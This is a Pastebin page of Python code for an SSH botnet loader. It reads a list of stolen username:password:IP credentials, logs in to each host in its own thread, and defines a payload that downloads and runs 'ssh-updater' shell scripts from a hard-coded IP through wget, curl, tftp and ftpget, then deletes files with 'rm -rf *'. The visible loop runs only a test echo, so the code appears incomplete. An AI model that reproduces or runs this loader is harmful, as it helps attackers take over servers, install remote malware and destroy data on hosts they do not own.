Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import socket
- import colorama
- import paramiko
- import warnings
- import threading
- colorama.init()
- paramiko.util.log_to_file("/dev/null")
- warnings.simplefilter(action="ignore", category=FutureWarning)
- payload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.49.224.232/ssh-updater.sh; curl -O http://37.49.224.232/ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp 37.49.224.232 -c get ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; tftp -r ssh-updater2.sh -g 37.49.224.232; chmod 777 ssh-updater2.sh; sh ssh-updater2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.49.224.232 ssh-updater1.sh ssh-updater1.sh; sh ssh-updater1.sh; rm -rf ssh-updater.sh ssh-updater.sh ssh-updater2.sh ssh-updater1.sh; rm -rf *"
- if len(sys.argv) < 2:
- sys.exit("Usage: " + sys.argv[0] + " <Vuln List>")
- ips = open(sys.argv[1], "r").readlines()
- class Loader(threading.Thread):
- def __init__(self, username, password, ip):
- threading.Thread.__init__(self)
- self.username = username
- self.password = password
- self.ip = ip
- def run(self):
- try:
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(self.ip, port=22, username=self.username, password=self.password, timeout=5)
- stdin, stdout, stderr = ssh.exec_command("echo Working")
- output = stdout.read()
- if "Working" in output:
- good_server = True
- if good_server == True:
- print("\033[32m[SUCCESS] Payload executed ==> {}\033[39m".format(self.ip))
- ssh.close()
- except paramiko.AuthenticationException:
- print("\033[32m[FAILURE] Could not authenticate ==> {}:{}:{}\033[39m".format(self.username, self.password, self.ip))
- except socket.error:
- print("\033[33m[FAILURE] Couldn't establish a connection ==> {}\033[39m".format(self.ip))
- except:
- pass
- for ip in ips:
- username, password, ip = ip.strip().split(":")
- loader = Loader(username, password, ip)
- loader.start()
Advertisement
Add Comment
Please, Sign In to add comment